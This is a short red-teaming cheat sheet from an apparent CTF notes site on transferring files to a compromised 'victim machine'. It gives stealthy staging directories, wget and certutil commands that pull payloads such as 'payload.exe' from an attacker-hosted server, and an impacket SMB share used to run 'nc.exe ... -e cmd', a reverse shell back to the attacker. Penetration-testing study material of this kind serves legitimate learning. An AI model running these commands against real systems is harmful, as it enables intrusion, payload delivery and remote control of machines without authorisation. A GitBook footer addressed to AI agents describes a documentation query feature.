> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfnote/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfnote/red-teaming/exploitation/file-transfer.md).

# File Transfer

## Where to Transfer

* On Linux, transfer files to `/dev/shm`
* On Windows, transfer files to `C:\Windows\Tasks`

They are chosen to be the locations for file transfer because they are world-readable/writable/executable and more stealthy than `/tmp` and `C:\Windows\Temp`.

## Linux

On attack machine, host a server:

```bash
updog
```

On victim machine, download with `wget`:

```bash
wget http://<local_ip>/linpeas.sh
```

## Windows

### certutil

On attack machine, host a server:

```bash
updog
```

On victim machine, download with `certutil`:

```bash
certutil -urlcache -f http://<local_ip>/payload.exe payload.exe
```

### impacket-smbserver

If `certutil` is not on the compromised Windows machine, we can transfer files with SMB server instead.

On Kali, create a SMB server:

```shell
impacket-smbserver ret2basic /usr/share/windows-resources/binaries/
```

Here `ret2basic` is the name of the share and `/usr/share/windows-resources/binaries/` is the directory that I want to host. On the compromised Windows machine:

```powershell
net use * \\<local_ip>\ret2basic
Z:\nc.exe <local_ip> <local_port> -e cmd
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ret2basic.gitbook.io/ctfnote/red-teaming/exploitation/file-transfer.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
